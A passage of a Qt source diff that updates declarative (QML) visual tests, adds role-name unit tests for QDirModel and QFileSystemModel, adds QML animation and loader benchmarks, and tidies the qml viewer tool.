msec: 4240 - hash: "50b0da4848564c063694202ce16ea808" - } - Frame { - msec: 4256 - hash: "0a9450739031f680735b5210e6a30c3f" - } - Frame { - msec: 4272 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4288 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4304 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4320 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4336 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4352 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4368 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4384 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4400 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4416 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4432 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4448 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4464 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4480 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4496 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4512 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4528 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4544 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4560 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4576 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4592 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4608 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4624 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4640 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4656 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4672 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4688 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4704 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } -} diff --git a/tests/auto/declarative/visual/animation/parentAction/parentAction.qml b/tests/auto/declarative/visual/animation/parentAction/parentAction.qml deleted file mode 100644 index eb3103e..0000000 --- a/tests/auto/declarative/visual/animation/parentAction/parentAction.qml +++ /dev/null @@ -1,55 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 400; height: 400 - Item { - scale: .5 - rotation: 15 - transformOrigin: "Center" - x: 10; y: 10 - Rectangle { - id: myRect - x: 5 - width: 100; height: 100 - transformOrigin: "BottomLeft" - color: "red" - } - } - MouseArea { - id: clickable - anchors.fill: parent - } - - Item { - x: 200; y: 200 - rotation: 52; - scale: 2 - Item { - id: newParent - x: 100; y: 100 - } - } - - states: State { - name: "moved" - when: clickable.pressed - ParentChange { - target: myRect - parent: newParent - } - PropertyChanges { - target: myRect - rotation: -52 - scale: 1 - color: "blue" - } - } - - transitions: Transition { - SequentialAnimation { - ColorAnimation { duration: 500} - ParentAction {} - NumberAnimation { properties: "rotation, scale"; duration: 1000 } - } - } -} diff --git a/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml b/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml index ef4ed76..fc9ccc8 100644 --- a/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml +++ b/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml @@ -28,7 +28,7 @@ Rectangle { transitions: Transition { SequentialAnimation { NumberAnimation { properties: "x"; easing.type: "InOutQuad" } - ScriptAction { stateChangeScriptName: "setColor" } + ScriptAction { scriptName: "setColor" } NumberAnimation { properties: "y"; easing.type: "InOutQuad" } } } diff --git a/tests/auto/qdirmodel/tst_qdirmodel.cpp b/tests/auto/qdirmodel/tst_qdirmodel.cpp index d7f0112..1bc5b7f 100644 --- a/tests/auto/qdirmodel/tst_qdirmodel.cpp +++ b/tests/auto/qdirmodel/tst_qdirmodel.cpp @@ -106,6 +106,9 @@ private slots: void filter(); void task244669_remove(); + + void roleNames_data(); + void roleNames(); }; // Testing get/set functions @@ -681,5 +684,30 @@ void tst_QDirModel::task244669_remove() QCOMPARE(parent.data() , model.index(SRCDIR "dirtest").data()); } +void tst_QDirModel::roleNames_data() +{ + QTest::addColumn<int>("role"); + QTest::addColumn<QByteArray>("roleName"); + QTest::newRow("decoration") << int(Qt::DecorationRole) << QByteArray("decoration"); + QTest::newRow("display") << int(Qt::DisplayRole) << QByteArray("display"); + QTest::newRow("fileIcon") << int(QDirModel::FileIconRole) << QByteArray("fileIcon"); + QTest::newRow("filePath") << int(QDirModel::FilePathRole) << QByteArray("filePath"); + QTest::newRow("fileName") << int(QDirModel::FileNameRole) << QByteArray("fileName"); +} + +void tst_QDirModel::roleNames() +{ + QDirModel model; + QHash<int, QByteArray> roles = model.roleNames(); + + QFETCH(int, role); + QVERIFY(roles.contains(role)); + + QFETCH(QByteArray, roleName); + QList<QByteArray> values = roles.values(role); + QVERIFY(values.contains(roleName)); +} + + QTEST_MAIN(tst_QDirModel) #include "tst_qdirmodel.moc" diff --git a/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp b/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp index 9f67a5e..c234c96 100644 --- a/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp +++ b/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp @@ -137,6 +137,10 @@ private slots: void drives_data(); void drives(); void dirsBeforeFiles(); + + void roleNames_data(); + void roleNames(); + protected: bool createFiles(const QString &test_path, const QStringList &initial_files, int existingFileCount = 0, const QStringList &intial_dirs = QStringList(), const QString &baseDir = QDir::temp().absolutePath()); @@ -1016,6 +1020,31 @@ void tst_QFileSystemModel::dirsBeforeFiles() } } +void tst_QFileSystemModel::roleNames_data() +{ + QTest::addColumn<int>("role"); + QTest::addColumn<QByteArray>("roleName"); + QTest::newRow("decoration") << int(Qt::DecorationRole) << QByteArray("decoration"); + QTest::newRow("display") << int(Qt::DisplayRole) << QByteArray("display"); + QTest::newRow("fileIcon") << int(QFileSystemModel::FileIconRole) << QByteArray("fileIcon"); + QTest::newRow("filePath") << int(QFileSystemModel::FilePathRole) << QByteArray("filePath"); + QTest::newRow("fileName") << int(QFileSystemModel::FileNameRole) << QByteArray("fileName"); + QTest::newRow("filePermissions") << int(QFileSystemModel::FilePermissions) << QByteArray("filePermissions"); +} + +void tst_QFileSystemModel::roleNames() +{ + QFileSystemModel model; + QHash<int, QByteArray> roles = model.roleNames(); + + QFETCH(int, role); + QVERIFY(roles.contains(role)); + + QFETCH(QByteArray, roleName); + QList<QByteArray> values = roles.values(role); + QVERIFY(values.contains(roleName)); +} + QTEST_MAIN(tst_QFileSystemModel) #include "tst_qfilesystemmodel.moc" diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml new file mode 100644 index 0000000..978e3bf --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + ParallelAnimation { + NumberAnimation { duration: 500 } + NumberAnimation { duration: 4000; } + NumberAnimation { duration: 2000; easing.type: "OutBack"} + ColorAnimation { duration: 3000} + SequentialAnimation { + PauseAnimation { duration: 1000 } + ScriptAction { script: doSomething(); } + PauseAnimation { duration: 800 } + ScriptAction { script: doSomethingElse(); } + PauseAnimation { duration: 800 } + ParallelAnimation { + NumberAnimation { duration: 200;} + SequentialAnimation { + PauseAnimation { duration: 200} + ParallelAnimation { + NumberAnimation { duration: 300;} + NumberAnimation { duration: 300;} + } + NumberAnimation { from: 0; to: 1; duration: 500 } + PauseAnimation { duration: 200 } + NumberAnimation { from: 1; to: 0; duration: 500 } + } + SequentialAnimation { + PauseAnimation { duration: 150} + NumberAnimation { duration: 300; easing.type: "OutBounce" } + } + } + } + } + } + } + +} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml new file mode 100644 index 0000000..cceb3f4 --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + ParallelAnimation { + NumberAnimation { } + NumberAnimation { } + NumberAnimation { } + ColorAnimation { } + SequentialAnimation { + PauseAnimation { } + ScriptAction { } + PauseAnimation { } + ScriptAction { } + PauseAnimation { } + ParallelAnimation { + NumberAnimation { } + SequentialAnimation { + PauseAnimation { } + ParallelAnimation { + NumberAnimation { } + NumberAnimation { } + } + NumberAnimation { } + PauseAnimation { } + NumberAnimation { } + } + SequentialAnimation { + PauseAnimation { } + NumberAnimation { } + } + } + } + } + } + } + +} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml new file mode 100644 index 0000000..6f8d849 --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml @@ -0,0 +1,7 @@ +import Qt 4.6 + +Item { + Rectangle {} + Text {} + Image {} +} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml new file mode 100644 index 0000000..270add4 --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml @@ -0,0 +1,16 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + Item { + Loader { + sourceComponent: Loaded {} + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml new file mode 100644 index 0000000..d3b84cc --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml @@ -0,0 +1,15 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + Item { + Loader {} + Loaded {} + } + } + } +} + diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml new file mode 100644 index 0000000..a94a12a --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml @@ -0,0 +1,14 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + Item { + Loaded {} + } + } + } +} + diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml new file mode 100644 index 0000000..39ed1a6 --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml @@ -0,0 +1,16 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + Item { + Loader { + source: "Loaded.qml" + } + } + } + } +} + diff --git a/tools/qml/content/Browser.qml b/tools/qml/content/Browser.qml index 62996ef..391ded8 100644 --- a/tools/qml/content/Browser.qml +++ b/tools/qml/content/Browser.qml @@ -22,38 +22,36 @@ Rectangle { SystemPalette { id: palette } - Script { - function down(path) { - if (folders == folders1) { - view = view2 - folders = folders2; - view1.state = "exitLeft"; - } else { - view = view1 - folders = folders1; - view2.state = "exitLeft"; - } - view.x = root.width; - view.state = "current"; - view.focus = true; - folders.folder = path; + function down(path) { + if (folders == folders1) { + view = view2 + folders = folders2; + view1.state = "exitLeft"; + } else { + view = view1 + folders = folders1; + view2.state = "exitLeft"; } - function up() { - var path = folders.parentFolder; - if (folders == folders1) { - view = view2 - folders = folders2; - view1.state = "exitRight"; - } else { - view = view1 - folders = folders1; - view2.state = "exitRight"; - } - view.x = -root.width; - view.state = "current"; - view.focus = true; - folders.folder = path; + view.x = root.width; + view.state = "current"; + view.focus = true; + folders.folder = path; + } + function up() { + var path = folders.parentFolder; + if (folders == folders1) { + view = view2 + folders = folders2; + view1.state = "exitRight"; + } else { + view = view1 + folders = folders1; + view2.state = "exitRight"; } + view.x = -root.width; + view.state = "current"; + view.focus = true; + folders.folder = path; } Component { diff --git a/tools/qml/qmlruntime.cpp b/tools/qml/qmlruntime.cpp index 6660947..d4ceb0b 100644 --- a/tools/qml/qmlruntime.cpp +++ b/tools/qml/qmlruntime.cpp @@ -51,7 +51,6 @@ #include <qdeclarativeengine.h> #include <qdeclarativenetworkaccessmanagerfactory.h> #include "qdeclarative.h" -#include <private/qperformancelog_p_p.h> #include <private/qabstractanimation_p.h> #include <QAbstractAnimation> #include "deviceskin.h" @@ -1221,7 +1220,6 @@ void QDeclarativeViewer::keyPressEvent(QKeyEvent *event) << "F5 - reload QML\n" << "F6 - show object tree\n" << "F7 - show timing\n" - << "F8 - show performance (if available)\n" << "F9 - toggle video recording\n" << "F10 - toggle orientation\n" << "device keys: 0=quit, 1..8=F1..F8" @@ -1233,9 +1231,6 @@ void QDeclarativeViewer::keyPressEvent(QKeyEvent *event) takeSnapShot(); } else if (event->key() == Qt::Key_F5 || (event->key() == Qt::Key_5 && devicemode)) { reload(); - } else if (event->key() == Qt::Key_F8 || (event->key() == Qt::Key_8 && devicemode)) { - QPerformanceLog::displayData(); - QPerformanceLog::clear(); } else if (event->key() == Qt::Key_F9 || (event->key() == Qt::Key_9 && devicemode)) { toggleRecording(); } else if (event->key() == Qt::Key_F10) { |